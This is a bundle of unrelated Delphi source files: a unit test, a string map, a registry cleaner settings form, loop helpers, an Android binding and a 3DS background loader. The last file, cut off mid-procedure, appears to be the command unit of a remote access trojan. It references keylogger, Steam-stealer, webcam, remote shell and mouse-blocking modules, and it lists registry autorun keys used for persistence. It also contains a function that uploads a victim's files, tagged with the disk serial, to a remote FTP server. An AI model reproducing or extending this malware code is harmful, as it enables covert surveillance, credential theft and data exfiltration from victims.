procedure Test2(const AValue1 : Integer;const AValue2 : Integer);
end;
implementation
procedure TTesteSGA.Setup;
begin
end;
procedure TTesteSGA.TearDown;
begin
end;
procedure TTesteSGA.Test1;
begin
end;
procedure TTesteSGA.Test2(const AValue1 : Integer;const AValue2 : Integer);
begin
// Assert.AreEqual(AValue1, AValue2,'Os valores não são iguais');
Assert.AreNotEqual(AValue1, AValue2,'Os valores são iguais');
end;
initialization
TDUnitX.RegisterTestFixture(TTesteSGA);
end.
|
unit uStringMap;
interface
uses uMap, uArrayListOfString, uArrayList;
{
Automatic dynamic str map
}
type StringMap = class(Map)
public
constructor Create(); override;
function find(key: String): integer; overload;
procedure add(key: String; value: TObject); overload;
function remove(key: String): TObject; overload;
function get(key: String): TObject; overload;
function getKeys(): ArrayListOfString; overload;
end;
implementation
// StringMap
constructor StringMap.Create();
begin
keys := ArrayListOfString.Create();
vals := ArrayList.Create();
end;
// StringMap
function StringMap.find(key: String): integer;
var i: integer;
begin
find := -1;
for i := 0 to keys.size() - 1 do
if key = (keys as ArrayListOfString).get(i) then begin
find := i;
break;
end;
end;
// StringMap
procedure StringMap.add(key: String; value: TObject);
begin
(keys as ArrayListOfString).add(key);
vals.add(value);
end;
// StringMap
function StringMap.remove(key: String): TObject;
var
index: integer;
begin
remove := nil;
index := find(key);
if index > -1 then begin
keys.remove(index);
remove := vals.remove(index);
end;
end;
// StringMap
function StringMap.get(key: String): TObject;
var index: integer;
begin
get := nil;
index := find(key);
if index > -1 then
get := vals.get(index);
end;
// StringMap
function StringMap.getKeys(): ArrayListOfString;
begin
getKeys := (keys as ArrayListOfString);
end;
end.
|
unit RegistryCleaner_Settings;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, IniFiles,
Dialogs, StdCtrls, Grids, AdvObj, BaseGrid, AdvGrid, AdvGlowButton, ExtCtrls;
type
TfmSettings = class(TForm)
lbRegExclusions: TLabel;
GridRegException: TAdvStringGrid;
btAddRegExclusion: TButton;
btRemoveRegExclusion: TButton;
ShapeBottom: TShape;
btOK: TAdvGlowButton;
btCancel: TAdvGlowButton;
btDefault: TButton;
procedure btCancelClick(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure btOKClick(Sender: TObject);
procedure btAddRegExclusionClick(Sender: TObject);
procedure btRemoveRegExclusionClick(Sender: TObject);
procedure btDefaultClick(Sender: TObject);
procedure ApplyLang;
private
{ Private declarations }
public
{ Public declarations }
end;
var
fmSettings: TfmSettings;
implementation
uses DataMod, RegistryCleaner_RegExceptions;
{$R *.dfm}
{ЧТЕНИЕ ЯЗЫКОВОЙ СТРОКИ ИЗ ОПРЕДЕЛЁННОГО ФАЙЛА}
function ReadLangStr(FileName, Section, Caption: PChar): PChar; external 'Functions.dll';
//=========================================================
{КНОПКА "ОТМЕНА"}
//---------------------------------------------------------
procedure TfmSettings.btCancelClick(Sender: TObject);
begin
Close;
end;
//=========================================================
//=========================================================
{КНОПКА "OK"}
//---------------------------------------------------------
procedure TfmSettings.btOKClick(Sender: TObject);
var
i, j: integer;
ExceptionFile: TIniFile;
begin
if not DirectoryExists(fmDataMod.PathToUtilityFolder) then SysUtils.ForceDirectories(fmDataMod.PathToUtilityFolder);
ExceptionFile := TIniFile.Create(fmDataMod.PathToUtilityFolder+'RegExceptions.ini');
ExceptionFile.EraseSection('etKeyAddr');
ExceptionFile.EraseSection('etText');
fmDataMod.RegExceptions := nil;
for i := 1 to GridRegException.RowCount-1 do
begin
SetLength(fmDataMod.RegExceptions, Length(fmDataMod.RegExceptions)+1);
if GridRegException.Cells[1, i] = ReadLangStr('RegistryCleaner.lng', 'Registry Cleaner', 'RegKey') then fmDataMod.RegExceptions[i-1].ExceptionType := etKeyAddr
else fmDataMod.RegExceptions[i-1].ExceptionType := etText;
fmDataMod.RegExceptions[i-1].Text := GridRegException.Cells[2, i];
end;
j := 0;
for i := 1 to GridRegException.RowCount-1 do
begin
if GridRegException.Cells[1, i] = ReadLangStr('RegistryCleaner.lng', 'Registry Cleaner', 'RegKey') then
begin
ExceptionFile.WriteString('etKeyAddr', IntToStr(j), fmDataMod.RegExceptions[i-1].Text);
inc(j);
end;
end;
for i := 1 to GridRegException.RowCount-1 do
begin
if GridRegException.Cells[1, i] <> ReadLangStr('RegistryCleaner.lng', 'Registry Cleaner', 'RegKey') then
begin
ExceptionFile.WriteString('etText', IntToStr(j), fmDataMod.RegExceptions[i-1].Text);
inc(j);
end;
end;
Close;
end;
//=========================================================
//=========================================================
{КНОПКА "ДОБАВИТЬ"}
//---------------------------------------------------------
procedure TfmSettings.btAddRegExclusionClick(Sender: TObject);
begin
fmRegExceptionsAdd := TfmRegExceptionsAdd.Create(Application);
fmRegExceptionsAdd.ShowModal;
fmRegExceptionsAdd.Free;
end;
//=========================================================
//=========================================================
{КНОПКА "УДАЛИТЬ"}
//---------------------------------------------------------
procedure TfmSettings.btRemoveRegExclusionClick(Sender: TObject);
var
i, SelectedRowIndex : integer;
begin
i := 1;
SelectedRowIndex := 0;
while i <= GridRegException.RowCount - 1 do
begin
if GridRegException.RowSelect[i] then
begin
SelectedRowIndex := i;
break;
end;
inc(i);
end;
GridRegException.RemoveRows(SelectedRowIndex, GridRegException.RowSelectCount);
end;
//=========================================================
//=========================================================
{КНОПКА "ПО УМОЛЧАНИЮ"}
//---------------------------------------------------------
procedure TfmSettings.btDefaultClick(Sender: TObject);
var
i:integer;
MsgCaption:string;
begin
MsgCaption := ReadLangStr('WinTuning_Common.lng', 'Common', 'Confirmation');
if Application.MessageBox(ReadLangStr('RegistryCleaner.lng', 'Registry Cleaner', 'RegExclusionsConfirmationQuery'),
PChar(MsgCaption),
MB_YESNO + MB_ICONQUESTION)
= IDYES then
begin
GridRegException.RemoveRows(1,GridRegException.RowCount-1);
if FileExists(fmDataMod.PathToUtilityFolder+'RegExceptions.ini') then DeleteFile(fmDataMod.PathToUtilityFolder+'RegExceptions.ini');
fmDataMod.FormRegExceptions;
for i := 0 to Length(fmDataMod.RegExceptions)-1 do
begin
GridRegException.AddRow;
if fmDataMod.RegExceptions[i].ExceptionType = etKeyAddr then GridRegException.Cells[1, i+1] := ReadLangStr('RegistryCleaner.lng', 'Registry Cleaner', 'RegKey')
else GridRegException.Cells[1, i+1] := ReadLangStr('RegistryCleaner.lng', 'Registry Cleaner', 'Parameter');
GridRegException.Cells[2, i+1] := fmDataMod.RegExceptions[i].Text;
end;
GridRegException.AutoSizeColumns(True);
end;
end;
//=========================================================
//=========================================================
{ПРИМЕНЕНИЕ ЯЗЫКА}
//---------------------------------------------------------
procedure TfmSettings.ApplyLang;
begin
Caption := ReadLangStr('RegistryCleaner.lng', 'Registry Cleaner', 'fmSettings');
lbRegExclusions.Caption := ReadLangStr('RegistryCleaner.lng', 'Registry Cleaner', 'lbRegExclusions');
GridRegException.ColumnHeaders.Strings[1] := ReadLangStr('RegistryCleaner.lng', 'Registry Cleaner', 'GridRegException_1');
GridRegException.ColumnHeaders.Strings[2] := ReadLangStr('RegistryCleaner.lng', 'Registry Cleaner', 'GridRegException_2');
btAddRegExclusion.Caption := ReadLangStr('WinTuning_Common.lng', 'Common', 'Add');
btRemoveRegExclusion.Caption := ReadLangStr('WinTuning_Common.lng', 'Common', 'Delete');
btDefault.Caption := ReadLangStr('WinTuning_Common.lng', 'Common', 'Default');
btCancel.Caption := ReadLangStr('WinTuning_Common.lng', 'Common', 'Cancel');
end;
//=========================================================
//=========================================================
{СОЗДАНИЕ ФОРМЫ}
//---------------------------------------------------------
procedure TfmSettings.FormCreate(Sender: TObject);
var
i:integer;
begin
ApplyLang;
for i := 0 to Length(fmDataMod.RegExceptions)-1 do
begin
GridRegException.AddRow;
if fmDataMod.RegExceptions[i].ExceptionType = etKeyAddr then GridRegException.Cells[1, i+1] := ReadLangStr('RegistryCleaner.lng', 'Registry Cleaner', 'RegKey')
else GridRegException.Cells[1, i+1] := ReadLangStr('RegistryCleaner.lng', 'Registry Cleaner', 'Parameter');
GridRegException.Cells[2, i+1] := fmDataMod.RegExceptions[i].Text;
end;
GridRegException.AutoSizeColumns(True);
end;
//=========================================================
end.
|
{
Catarinka Quick Loopers
Copyright (c) 2003-2019 Felipe Daragon
License: 3-clause BSD
See https://github.com/felipedaragon/catarinka/ for details
Usage examples:
LoopStringList(memo1.Lines,
procedure(i:integer;s:string) begin
memo2.Lines.Add(s);
end
);
LoopStringListEx(memo1.Lines,
procedure(const line:TCatStringLoopLine) begin
memo2.Lines.Add(line.value);
end
);
For more advanced loopers, check the CatStringLoop unit.
}
unit CatLoops;
interface
{$I Catarinka.inc}
uses
{$IFDEF DXE2_OR_UP}
System.Classes, System.SysUtils,
{$ELSE}
Classes, SysUtils,
{$ENDIF}
CatStrings;
type
TCatStringLoopLine = record
index: integer;
count: integer;
value: string;
end;
TCatStringLoopProc<T> = reference to procedure
(const line: TCatStringLoopLine);
procedure LoopStringList(sl: TStrings; const proc: TProc<integer, string>);
procedure LoopStringListEx(sl: TStrings;
const proc: TCatStringLoopProc<TCatStringLoopLine>);
implementation
procedure LoopStringList(sl: TStrings; const proc: TProc<integer, string>);
var
i, c: integer;
begin
c := sl.count;
for i := 0 to c do
begin
if i < c then
begin
if Assigned(proc) then
proc(i, sl[i]);
end;
end;
end;
procedure LoopStringListEx(sl: TStrings;
const proc: TCatStringLoopProc<TCatStringLoopLine>);
var
i, c: integer;
l: TCatStringLoopLine;
begin
c := sl.count;
for i := 0 to c do
begin
if i < c then
begin
l.index := i;
l.value := sl[i];
l.count := c;
if Assigned(proc) then
proc(l);
end;
end;
end;
end.
|
//
// Generated by JavaToPas v1.5 20180804 - 082358
////////////////////////////////////////////////////////////////////////////////
unit java.nio.file.InvalidPathException;
interface
uses
AndroidAPI.JNIBridge,
Androidapi.JNI.JavaTypes;
type
JInvalidPathException = interface;
JInvalidPathExceptionClass = interface(JObjectClass)
['{E9928774-18BF-44F8-BA7F-9364367B15B9}']
function getIndex : Integer; cdecl; // ()I A: $1
function getInput : JString; cdecl; // ()Ljava/lang/String; A: $1
function getMessage : JString; cdecl; // ()Ljava/lang/String; A: $1
function getReason : JString; cdecl; // ()Ljava/lang/String; A: $1
function init(input : JString; reason : JString) : JInvalidPathException; cdecl; overload;// (Ljava/lang/String;Ljava/lang/String;)V A: $1
function init(input : JString; reason : JString; &index : Integer) : JInvalidPathException; cdecl; overload;// (Ljava/lang/String;Ljava/lang/String;I)V A: $1
end;
[JavaSignature('java/nio/file/InvalidPathException')]
JInvalidPathException = interface(JObject)
['{5D7B3A47-7EE1-481A-A4FD-27C49424F103}']
function getIndex : Integer; cdecl; // ()I A: $1
function getInput : JString; cdecl; // ()Ljava/lang/String; A: $1
function getMessage : JString; cdecl; // ()Ljava/lang/String; A: $1
function getReason : JString; cdecl; // ()Ljava/lang/String; A: $1
end;
TJInvalidPathException = class(TJavaGenericImport<JInvalidPathExceptionClass, JInvalidPathException>)
end;
implementation
end.
|
unit GLD3dsBackground;
interface
uses
Classes, GL, GLDTypes, GLDClasses, GLD3dsTypes, GLD3dsChunk, GLD3dsIo;
type
TGLD3dsBitmap = class;
TGLD3dsSolid = class;
TGLD3dsGradient = class;
TGLD3dsBackground = class;
TGLD3dsBitmap = class(TGLDSysClass)
private
FUse: GLboolean;
FName: string;
procedure SetUse(Value: GLboolean);
procedure SetName(Value: string);
function GetParams: TGLD3dsBitmapParams;
procedure SetParams(Value: TGLD3dsBitmapParams);
public
constructor Create(AOwner: TPersistent); override;
destructor Destroy; override;
procedure Assign(Source: TPersistent); override;
class function SysClassType: TGLDSysClassType; override;
procedure LoadFromStream(Stream: TStream); override;
procedure SaveToStream(Stream: TStream); override;
property Params: TGLD3dsBitmapParams read GetParams write SetParams;
published
property Use: GLboolean read FUse write SetUse;
property Name: string read FName write SetName;
end;
TGLD3dsSolid = class(TGLDSysClass)
private
FUse: GLboolean;
FCol: TGLDColor4fClass;
procedure SetUse(Value: GLboolean);
procedure SetCol(Value: TGLDColor4fClass);
function GetParams: TGLD3dsSolidParams;
procedure SetParams(Value: TGLD3dsSolidParams);
protected
procedure SetOnChange(Value: TNotifyEvent); override;
public
constructor Create(AOwner: TPersistent); override;
destructor Destroy; override;
procedure Assign(Source: TPersistent); override;
class function SysClassType: TGLDSysClassType; override;
procedure LoadFromStream(Stream: TStream); override;
procedure SaveToStream(Stream: TStream); override;
function Read(Stream: TStream): GLboolean;
property Params: TGLD3dsSolidParams read GetParams write SetParams;
published
property Use: GLboolean read FUse write SetUse;
property Col: TGLDColor4fClass read FCol write SetCol;
end;
TGLD3dsGradient = class(TGLDSysClass)
private
FUse: GLboolean;
FPercent: GLfloat;
FTop: TGLDColor4fClass;
FMiddle: TGLDColor4fClass;
FBottom: TGLDColor4fClass;
procedure SetUse(Value: GLboolean);
procedure SetPercent(Value: GLfloat);
procedure SetTop(Value: TGLDColor4fClass);
procedure SetMiddle(Value: TGLDColor4fClass);
procedure SetBottom(Value: TGLDColor4fClass);
function GetParams: TGLD3dsGradientParams;
procedure SetParams(Value: TGLD3dsGradientParams);
protected
procedure SetOnChange(Value: TNotifyEvent); override;
public
constructor Create(AOwner: TPersistent); override;
destructor Destroy; override;
procedure Assign(Source: TPersistent); override;
class function SysClassType: TGLDSysClassType; override;
procedure LoadFromStream(Stream: TStream); override;
procedure SaveToStream(Stream: TStream); override;
function Read(Stream: TStream): GLboolean;
property Params: TGLD3dsGradientParams read GetParams write SetParams;
published
property Use: GLboolean read FUse write SetUse;
property Percent: GLfloat read FPercent write SetPercent;
property Top: TGLDColor4fClass read FTop write SetTop;
property Middle: TGLDColor4fClass read FMiddle write SetMiddle;
property Bottom: TGLDColor4fClass read FBottom write SetBottom;
end;
TGLD3dsBackground = class(TGLDSysClass)
private
FBitmap: TGLD3dsBitmap;
FSolid: TGLD3dsSolid;
FGradient: TGLD3dsGradient;
procedure SetBitmap(Value: TGLD3dsBitmap);
procedure SetSolid(Value: TGLD3dsSolid);
procedure SetGradient(Value: TGLD3dsGradient);
function GetParams: TGLD3dsBackgroundParams;
procedure SetParams(Value: TGLD3dsBackgroundParams);
protected
procedure SetOnChange(Value: TNotifyEvent); override;
public
constructor Create(AOwner: TPersistent); override;
destructor Destroy; override;
procedure Assign(Source: TPersistent); override;
class function SysClassType: TGLDSysClassType; override;
procedure LoadFromStream(Stream: TStream); override;
procedure SaveToStream(Stream: TStream); override;
function Read(Stream: TStream): GLboolean;
property Params: TGLD3dsBackgroundParams read GetParams write SetParams;
published
property Bitmap: TGLD3dsBitmap read FBitmap write SetBitmap;
property Solid: TGLD3dsSolid read FSolid write SetSolid;
property Gradient: TGLD3dsGradient read FGradient write SetGradient;
end;
implementation
constructor TGLD3dsBackground.Create(AOwner: TPersistent);
begin
inherited Create(AOwner);
FBitmap := TGLD3dsBitmap.Create(Self);
FSolid := TGLD3dsSolid.Create(Self);
FGradient := TGLD3dsGradient.Create(Self);
end;
destructor TGLD3dsBackground.Destroy;
begin
FBitmap.Free;
FSolid.Free;
FGradient.Free;
inherited Destroy;
end;
procedure TGLD3dsBackground.Assign(Source: TPersistent);
begin
if (Source = nil) or (Source = Self) then Exit;
if not (Source is TGLD3dsBackground) then Exit;
SetParams(TGLD3dsBackground(Source).GetParams);
end;
class function TGLD3dsBackground.SysClassType: TGLDSysClassType;
begin
Result := GLD_SYSCLASS_3DS_BACKGROUND;
end;
procedure TGLD3dsBackground.LoadFromStream(Stream: TStream);
begin
FBitmap.LoadFromStream(Stream);
FSolid.LoadFromStream(Stream);
FGradient.LoadFromStream(Stream);
end;
procedure TGLD3dsBackground.SaveToStream(Stream: TStream);
begin
FBitmap.SaveToStream(Stream);
FSolid.SaveToStream(Stream);
FGradient.SaveToStream(Stream);
end;
function TGLD3dsBackground.Read(Stream: TStream): GLboolean;
var
C: TGLD3dsChunk;
begin
Result := False;
if not GLD3dsChunkReadStart(C, 0, Stream) then Exit;
repeat
GLD3dsChunkRead(C, Stream);
case C.Chunk of
GLD3DS_BIT_MAP:
begin
FBitmap.FName := GLD3dsIoReadString(Stream);
end;
GLD3DS_SOLID_BGND:
begin
GLD3dsChunkReadReset(Stream);
if not FSolid.Read(Stream) then Exit;
end;
GLD3DS_V_GRADIENT:
begin
GLD3dsChunkReadReset(Stream);
if not FGradient.Read(Stream) then Exit;
end;
GLD3DS_USE_BIT_MAP:
begin
FBitmap.FUse := True;
end;
GLD3DS_USE_SOLID_BGND:
begin
FSolid.FUse := True;
end;
GLD3DS_USE_V_GRADIENT:
begin
FGradient.FUse := True;
end;
else
begin
GLD3dsChunkReadReset(Stream);
C.Chunk := 0;
end;
end;
until C.Chunk = 0;
Result := True;
end;
procedure TGLD3dsBackground.SetOnChange(Value: TNotifyEvent);
begin
inherited SetOnChange(Value);
FBitmap.OnChange := FOnChange;
FSolid.OnChange := FOnChange;
FGradient.OnChange := FOnChange;
end;
procedure TGLD3dsBackground.SetBitmap(Value: TGLD3dsBitmap);
begin
FBitmap.Assign(Value);
end;
procedure TGLD3dsBackground.SetSolid(Value: TGLD3dsSolid);
begin
FSolid.Assign(Value);
end;
procedure TGLD3dsBackground.SetGradient(Value: TGLD3dsGradient);
begin
FGradient.Assign(Value);
end;
function TGLD3dsBackground.GetParams: TGLD3dsBackgroundParams;
begin
Result := GLDX3DSBackgroundParams(FBitmap.GetParams,
FSolid.GetParams, FGradient.GetParams);
end;
procedure TGLD3dsBackground.SetParams(Value: TGLD3dsBackgroundParams);
begin
if GLDX3DSBackgroundParamsEqual(GetParams, Value) then Exit;
FBitmap.SetParams(Value.Bitmap);
FSolid.SetParams(Value.Solid);
FGradient.SetParams(Value.Gradient);
end;
constructor TGLD3dsBitmap.Create(AOwner: TPersistent);
begin
inherited Create(AOwner);
FUse := False;
FName := '';
end;
destructor TGLD3dsBitmap.Destroy;
begin
inherited Destroy;
end;
procedure TGLD3dsBitmap.Assign(Source: TPersistent);
begin
if (Source = nil) or (Source = Self) then Exit;
if not (Source is TGLD3dsBitmap) then Exit;
SetParams(TGLD3dsBitmap(Source).GetParams);
end;
class function TGLD3dsBitmap.SysClassType: TGLDSysClassType;
begin
Result := GLD_SYSCLASS_3DS_BITMAP;
end;
procedure TGLD3dsBitmap.LoadFromStream(Stream: TStream);
begin
Stream.Read(FUse, SizeOf(GLboolean));
GLDXLoadStringFromStream(Stream, FName);
end;
procedure TGLD3dsBitmap.SaveToStream(Stream: TStream);
begin
Stream.Write(FUse, SizeOf(GLboolean));
GLDXSaveStringToStream(Stream, FName);
end;
procedure TGLD3dsBitmap.SetUse(Value: GLboolean);
begin
if FUse = Value then Exit;
FUse := Value;
Change;
end;
procedure TGLD3dsBitmap.SetName(Value: string);
begin
if FName = Value then Exit;
FName := Value;
Change;
end;
function TGLD3dsBitmap.GetParams: TGLD3dsBitmapParams;
begin
Result := GLDX3DSBitmapParams(FUse, FName);
end;
procedure TGLD3dsBitmap.SetParams(Value: TGLD3dsBitmapParams);
begin
if GLDX3DSBitmapParamsEqual(GetParams, Value) then Exit;
FUse := Value.Use;
FName := Value.Name;
Change;
end;
constructor TGLD3dsSolid.Create(AOwner: TPersistent);
begin
inherited Create(AOwner);
FUse := False;
FCol := TGLDColor4fClass.Create(Self);
end;
destructor TGLD3dsSolid.Destroy;
begin
FCol.Free;
inherited Destroy;
end;
procedure TGLD3dsSolid.Assign(Source: TPersistent);
begin
if (Source = nil) or (Source = Self) then Exit;
if not (Source is TGLD3dsSolid) then Exit;
SetParams(TGLD3dsSolid(Source).GetParams);
end;
class function TGLD3dsSolid.SysClassType: TGLDSysClassType;
begin
Result := GLD_SYSCLASS_3DS_SOLID;
end;
procedure TGLD3dsSolid.LoadFromStream(Stream: TStream);
begin
Stream.Read(FUse, SizeOf(GLboolean));
Stream.Read(FCol.GetPointer^, SizeOf(TGLDColor3f));
end;
procedure TGLD3dsSolid.SaveToStream(Stream: TStream);
begin
Stream.Write(FUse, SizeOf(GLboolean));
Stream.Write(FCol.GetPointer^, SizeOf(TGLDColor3f));
end;
function TGLD3dsSolid.Read(Stream: TStream): GLboolean;
var
C: TGLD3dsChunk;
HaveLin: GLboolean;
begin
Result := False;
HaveLin := False;
if not GLD3dsChunkReadStart(C, GLD3DS_SOLID_BGND, Stream) then Exit;
repeat
GLD3dsChunkRead(C, Stream);
case C.Chunk of
GLD3DS_LIN_COLOR_F:
begin
PGLDColor3f(FCol.GetPointer)^ := GLD3dsIoReadRgb(Stream);
HaveLin := True;
end;
GLD3DS_COLOR_F:
begin
PGLDColor3f(FCol.GetPointer)^ := GLD3dsIoReadRgb(Stream);
end;
else
begin
GLD3dsChunkReadReset(Stream);
C.Chunk := 0;
end;
end;
until C.Chunk = 0;
Result := True;
end;
procedure TGLD3dsSolid.SetOnChange(Value: TNotifyEvent);
begin
inherited SetOnChange(Value);
FCol.OnChange := FOnChange;
end;
procedure TGLD3dsSolid.SetUse(Value: GLboolean);
begin
if FUse = Value then Exit;
FUse := Value;
Change;
end;
procedure TGLD3dsSolid.SetCol(Value: TGLDColor4fClass);
begin
FCol.Assign(Value);
end;
function TGLD3dsSolid.GetParams: TGLD3dsSolidParams;
begin
Result := GLDX3DSSolidParams(FUse, FCol.Color3f);
end;
procedure TGLD3dsSolid.SetParams(Value: TGLD3dsSolidParams);
begin
if GLDX3DSSolidParamsEqual(GetParams, Value) then Exit;
FUse := Value.Use;
PGLDColor3f(FCol.GetPointer)^ := Value.Col;
Change;
end;
constructor TGLD3dsGradient.Create(AOwner: TPersistent);
begin
inherited Create(AOwner);
FUse := False;
FTop := TGLDColor4fClass.Create(Self);
FMiddle := TGLDColor4fClass.Create(Self);
FBottom := TGLDColor4fClass.Create(Self);
end;
destructor TGLD3dsGradient.Destroy;
begin
FTop.Free;
FMiddle.Free;
FBottom.Free;
inherited Destroy;
end;
procedure TGLD3dsGradient.Assign(Source: TPersistent);
begin
if (Source = nil) or (Source = Self) then Exit;
if not (Source is TGLD3dsGradient) then Exit;
SetParams(TGLD3dsGradient(Source).GetParams);
end;
class function TGLD3dsGradient.SysClassType: TGLDSysClassType;
begin
Result := GLD_SYSCLASS_3DS_GRADIENT;
end;
procedure TGLD3dsGradient.LoadFromStream(Stream: TStream);
begin
Stream.Read(FUse, SizeOf(GLboolean));
Stream.Read(FPercent, SizeOf(GLfloat));
FTop.LoadFromStream(Stream);
FMiddle.LoadFromStream(Stream);
FBottom.LoadFromStream(Stream);
end;
procedure TGLD3dsGradient.SaveToStream(Stream: TStream);
begin
Stream.Write(FUse, SizeOf(GLboolean));
Stream.Write(FPercent, SizeOf(GLfloat));
FTop.SaveToStream(Stream);
FMiddle.SaveToStream(Stream);
FBottom.SaveToStream(Stream);
end;
function TGLD3dsGradient.Read(Stream: TStream): GLboolean;
var
C: TGLD3dsChunk;
Index: array[0..1] of GLint;
Col: array[0..1, 0..2] of TGLDColor4f;
HaveLin: GLboolean;
i: GLint;
begin
Result := False;
if not GLD3dsChunkReadStart(C, GLD3DS_V_GRADIENT, Stream) then Exit;
FPercent := GLD3dsIoReadFloat(Stream);
Index[0] := 0; Index[1] := 0;
repeat
GLD3dsChunkRead(C, Stream);
case C.Chunk of
GLD3DS_COLOR_F:
begin
PGLDColor3f(@Col[0][Index[0]])^ := GLD3dsIoReadRgb(Stream);
Inc(Index[0]);
end;
GLD3DS_LIN_COLOR_F:
begin
PGLDColor3f(@Col[1][Index[1]])^ := GLD3dsIoReadRgb(Stream);
Inc(Index[1]);
HaveLin := True;
end;
else
begin
GLD3dsChunkReadReset(Stream);
C.Chunk := 0;
end;
end;
until C.Chunk = 0;
for i := 0 to 2 do
if HaveLin then
begin
PGLDColor4f(FTop.GetPointer)^ := Col[GLubyte(HaveLin)][0];
PGLDColor4f(FMiddle.GetPointer)^ := Col[GLubyte(HaveLin)][1];
PGLDColor4f(FBottom.GetPointer)^ := Col[GLubyte(HaveLin)][2];
end;
Result := True;
end;
procedure TGLD3dsGradient.SetOnChange(Value: TNotifyEvent);
begin
inherited SetOnChange(Value);
FTop.OnChange := FOnChange;
FMiddle.OnChange := FOnChange;
FBottom.OnChange := FOnChange;
end;
procedure TGLD3dsGradient.SetUse(Value: GLboolean);
begin
if FUse = Value then Exit;
FUse := Value;
Change;
end;
procedure TGLD3dsGradient.SetPercent(Value: GLfloat);
begin
if FPercent = Value then Exit;
FPercent := Value;
Change;
end;
procedure TGLD3dsGradient.SetTop(Value: TGLDColor4fClass);
begin
FTop.Assign(Value);
end;
procedure TGLD3dsGradient.SetMiddle(Value: TGLDColor4fClass);
begin
FMiddle.Assign(Value);
end;
procedure TGLD3dsGradient.SetBottom(Value: TGLDColor4fClass);
begin
FBottom.Assign(Value);
end;
function TGLD3dsGradient.GetParams: TGLD3dsGradientParams;
begin
Result := GLDX3DSGradientParams(FUse, FPercent,
FTop.Color4f, FMiddle.Color4f, FBottom.Color4f);
end;
procedure TGLD3dsGradient.SetParams(Value: TGLD3dsGradientParams);
begin
if GLDX3DSGradientParamsEqual(GetParams, Value) then Exit;
FUse := Value.Use;
FPercent := Value.Percent;
PGLDColor4f(FTop.GetPointer)^ := Value.Top;
PGLDColor4f(FMiddle.GetPointer)^ := Value.Middle;
PGLDColor4f(FBottom.GetPointer)^ := Value.Bottom;
Change;
end;
end.
|
Unit UnitExecutarComandos;
interface
uses
windows;
Const
CurrentVersion = 'Software\Microsoft\Windows\CurrentVersion\Run';
PoliciesKey = 'Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run';
InstalledComp = 'Software\Microsoft\Active Setup\Installed Components\';
UNINST_PATH = 'SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall';
type
TThreadSearch = Class(TObject)
public
Diretorio: String;
Mascara: string;
constructor Create(pDiretorio, pMascara: string); overload;
end;
type
TThreadDownloadDir = Class(TObject)
public
Diretorio: String;
constructor Create(pDiretorio: string); overload;
end;
const
DelimitadorDeImagem = '**********';
MSNseparador = '##@@##';
var
ComandoRecebido: string;
MainInfoBuffer: string;
MasterCommandThreadId: THandle;
ShellThreadID: THandle = 0;
AudioThreadId: THandle = 0;
ListarChavesRegistro: THandle = 0;
ListarValoresRegistro: THandle = 0;
DesktopIntervalo: integer;
DesktopQuality: integer;
EixoXDesktop: integer;
EixoYDesktop: integer;
WebcamIntervalo: integer;
WebcamQuality: integer;
ToSendSearch: string;
ToDownloadDIR: string;
SearchID: THandle = 0;
DownloadDIRId: Thandle = 0;
MuliDownFile: string;
MuliDownFileSize: int64;
swapmouse, blockmouse: boolean;
LastCommand: integer = 0;
procedure ExecutarComando;
function GetNewIdentificationName(NewName: string): string;
function GetFirstExecution: string;
implementation
uses
UnitConexao,
UnitSettings,
UnitComandos,
UnitCarregarFuncoes,
UnitDiversos,
UnitServerUtils,
UnitKeylogger,
SocketUnit,
DeleteUnit,
UnitVariaveis,
UnitShell,
Messages,
UnitWebcam,
ListarProgramas,
UnitListarProcessos,
UnitServicos,
UnitClipboard,
UnitRegistro,
UnitSteamStealer,
UnitServerOpcoesExtras,
UnitListarPortasAtivas,
UnitInformacoes,
APIWindow,
APIControl,
uFTP,
ActiveX,
UnitJanelas,
ListarDispositivos,
UnitFileManager,
untCapFuncs,
UnitAudio,
StreamUnit,
UnitDebug;
type
RecordSearchResult = record
Find: TWin32FindData;
TipoDeArquivo: shortString;
Dir: shortString;
end;
///////// CHAT //////////
var
MainWnd: TSDIMainWindow;
Memo1: TAPIMemo;
Edit1: TAPIEdit;
Button1: TAPIButton;
CheckHWND: cardinal;
Sairdochat: boolean = false;
var
ServerName, ClientName: string;
Envia, Enviou, ButtonCaption: string;
FormCaption: string;
FontName: string;
FontSize: cardinal;
MainColor,
MemoColor,
EditColor,
MemoTextColor,
EditTextColor: cardinal;
MensagemCHATRecebida: string;
BlockMouseHandle: THandle;
function GetFirstExecution: string;
var
tempstr: string;
begin
result := lerreg(HKEY_CURRENT_USER, pchar('SOFTWARE\' + Identificacao), pchar('FirstExecution'), '');
if result = '' then
begin
tempstr := getday + '/' + getmonth + '/' + getyear + ' -- ' + gethour + ':' + GetMinute;
Write2Reg(HKEY_CURRENT_USER, 'SOFTWARE\' + Identificacao, 'FirstExecution', tempstr);
end;
end;
function EnviarArquivoFTP(FTPAddress,
FTPUser,
FTPPass: string; FTPPort: integer;
Thefile: string): boolean;
var
ftp: tFtpAccess;
filedata: string; // buffer do arquivo
c: cardinal;
FTPFilename: string;
begin
Result := false;
filedata := lerarquivo(Thefile, c);
if filedata = '' then exit;
FTPFilename := NewIdentification + '_' + ExtractDiskSerial(myrootfolder) + '_' + extractfilename(Thefile);
ftp := tFtpAccess.create(FTPAddress,
FTPUser,
FTPPass,
FTPPort);
if (not assigned(ftp)) or (not ftp.connected) then
begin
ftp.Free;
exit;
end;
if ftp.SetDir('./') = false then
begin
ftp.Free;
exit;
end;
// Enviando arquivo
if not ftp.Putfile(FileData, FTPFilename) then
begin
ftp.Free;
exit;
end;
if ftp.FileSize(FTPFilename) = MyGetFileSize(Thefile) then result := true;
ftp.free;
end;
procedure DefinirHandle;
var
Msg: TMsg;
X: THandle;
begin
X := 0;
while (Sairdochat = false) and
(ClientSocket.Connected = true) do
begin
if MainWnd <> nil then X := MainWnd.Handle;
_ProcessMessages;
end;
end;
procedure CheckMSG;
var
Msg: TMsg;
begin
sleep(500);
while (Sairdochat = false) and
(ClientSocket.Connected = true) do
begin
if (MensagemCHATRecebida <> '') and (MainWnd <> nil) then
begin
memo1.Text := Memo1.Text + ClientName + ' ' + Enviou + #13#10 + MensagemCHATRecebida + #13#10 + #13#10;
MensagemCHATRecebida := '';
memo1.Scroll(memo1.LineCount);
MainWnd.Center;
